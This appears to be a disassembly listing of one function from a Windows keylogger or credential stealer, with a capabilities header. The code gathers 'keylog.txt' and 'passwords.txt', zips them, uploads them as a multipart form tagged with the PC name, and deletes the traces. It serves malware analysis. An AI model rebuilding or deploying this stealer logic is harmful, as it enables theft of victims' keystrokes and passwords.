Function at 0x10013590
Capabilities:
Check if file exists
Copy file
Delete directory
Delete file
Get common file path
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
push ebx
push esi
push edi
xor eax, eax
push 0x1004fb68
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x530]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [ebp + 8]
push ecx
push 0x10059d68
push 0x10045f7c
lea edx, [ebp - 0x110]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10013c2e
mov esi, dword [ebp + 0xc]
mov ecx, str.DEBUG
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013623
test dl, dl
je 0x1001361f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013623
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013603
xor eax, eax
jmp 0x10013628
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013667
mov ecx, 0x10046208
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013653
test dl, dl
je 0x1001364f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013653
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013633
xor eax, eax
jmp 0x10013658
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013667
lea eax, [ebp - 0x110]
call fcn.10005ae0
mov ecx, 0x10046208
mov eax, esi
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013690
test dl, dl
je 0x1001368c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013690
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013670
xor eax, eax
jmp 0x10013695
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100137c3
xor eax, eax
nop
mov cl, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x100136a0
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea ecx, [ebp - 0x218]
push ecx
call ebx
lea eax, [ebp - 0x218]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100136d0
mov edx, dword [str.keylog.txt]
mov ecx, dword [0x1004979c]
mov dword [eax], edx
mov dx, word [0x100497a0]
mov dword [eax + 4], ecx
mov cl, byte [0x100497a2]
mov word [eax + 8], dx
lea edx, [ebp - 0x428]
push edx
push 0
push 0
push 0x1a
push 0
mov byte [eax + 0xa], cl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x428]
push eax
call ebx
mov eax, 0x1005a8f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10013722
lea edi, [ebp - 0x428]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013734
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x10013770
mov cl, byte [ebp + eax - 0x110]
mov byte [ebp + eax - 0x218], cl
inc eax
test cl, cl
jne 0x10013770
lea eax, [ebp - 0x218]
push eax
call ebx
lea eax, [ebp - 0x218]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013793
mov ecx, dword [str.passwords.txt]
mov edx, dword [0x100497a8]
mov esi, dword [ebp + 0xc]
mov dword [eax], ecx
mov ecx, dword [0x100497ac]
mov dword [eax + 4], edx
mov dx, word [0x100497b0]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
mov ecx, str.DEBUG
mov eax, esi
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100137f0
test dl, dl
je 0x100137ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100137f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100137d0
xor eax, eax
jmp 0x100137f5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013845
mov ecx, 0x10046208
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013820
test dl, dl
je 0x1001381c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013820
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013800
xor eax, eax
jmp 0x10013825
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013845
push 0
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x428]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10059d68
push str._s_u.zip
lea edx, [ebp - 0x320]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10013c2e
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x320]
push ecx
call fcn.100292d0
mov edi, eax
test edi, edi
je 0x100138bd
push 0
push esi
push edi
call fcn.10029460
push edi
call fcn.100293d0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea edx, [ebp - 0x110]
push edx
call fcn.10007400
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea edx, [ebp - 0x320]
push edx
call fcn.10007660
mov dword [ebp - 4], eax
test eax, eax
je 0x10013c2e
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013910
sub eax, edx
xor ebx, ebx
add eax, 0x1000
je 0x1001394a
lea esi, [eax + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x1001394a
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x10013c2e
mov ecx, 7
mov esi, str._____________________________
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, 0x10059c60
movsw word es:[edi], word [esi]
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013970
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013980
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100139a0
mov cx, word [0x10045cf4]
mov word [eax], cx
mov dl, byte [0x10045cf6]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100139c0
mov eax, dword [ebp + 0xc]
mov ecx, 0xc
mov esi, str.Content_Disposition:_form_data__name_pcname__r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, eax
jmp 0x100139e0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100139e0
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100139f0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013a10
mov ax, word [0x10049814]
push 1
mov word [edi], ax
call fcn.10003420
mov esi, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013a30
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013a40
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013a60
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x10059c60
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x10013a80
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013a80
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013a90
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013ab0
mov cx, word [0x10045cf4]
mov word [eax], cx
mov dl, byte [0x10045cf6]
mov byte [eax + 2], dl
lea edi, [ebx - 1]
mov edi, edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013ad0
mov ecx, 0x10
mov esi, str.Content_Disposition:_form_data__name_file___filename_report__r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013ae8
mov eax, dword [ebp - 4]
mov ecx, 7
mov esi, str.Content_Type:_text_plain_r_n_r_n
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013b02
sub eax, esi
lea edi, [ebx - 1]
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013b10
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10013b30
mov ecx, 8
mov esi, str._r_n_____________________________
mov eax, 0x10059c60
rep movsd dword es:[edi], dword [esi]
mov esi, eax
jmp 0x10013b50
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013b50
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10013b60
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebx - 1]
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013b80
mov ecx, dword [str.___r_n]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [eax], ecx
mov dl, byte [0x100498a0]
mov byte [eax + 4], dl
xor esi, esi
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10013ba6
sub eax, edx
push ebx
call fcn.10013410
test eax, eax
jne 0x10013bc6
push 0x7530
call edi
inc esi
cmp esi, 5
jl 0x10013ba1
mov esi, dword [ebp + 0xc]
mov edx, str.DEBUG
mov ecx, esi
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x10013bf0
test al, al
je 0x10013bec
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x10013bf0
add ecx, 2
add edx, 2
test al, al
jne 0x10013bd0
xor eax, eax
jmp 0x10013bf5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013c2e
mov ecx, 0x10046208
mov eax, esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10013c20
test dl, dl
je 0x10013c1c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10013c20
add eax, 2
add ecx, 2
test dl, dl
jne 0x10013c00
xor eax, eax
jmp 0x10013c25
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10013c2e
call fcn.100036e0
lea eax, [ebp - 0x530]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10013c68
push 0
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 4], 0
mov esi, dword [sym.imp.KERNEL32.dll_HeapValidate]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
je 0x10013c9a
mov ecx, dword [ebp - 4]
push ecx
push 0
call ebx
push eax
call esi
test eax, eax
je 0x10013c9a
mov edx, dword [ebp - 4]
push edx
push 0
call ebx
push eax
call edi
cmp dword [ebp - 8], 0
je 0x10013cba
mov eax, dword [ebp - 8]
push eax
push 0
call ebx
push eax
call esi
test eax, eax
je 0x10013cba
mov ecx, dword [ebp - 8]
push ecx
push 0
call ebx
push eax
call edi
push 0x1004fb68
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8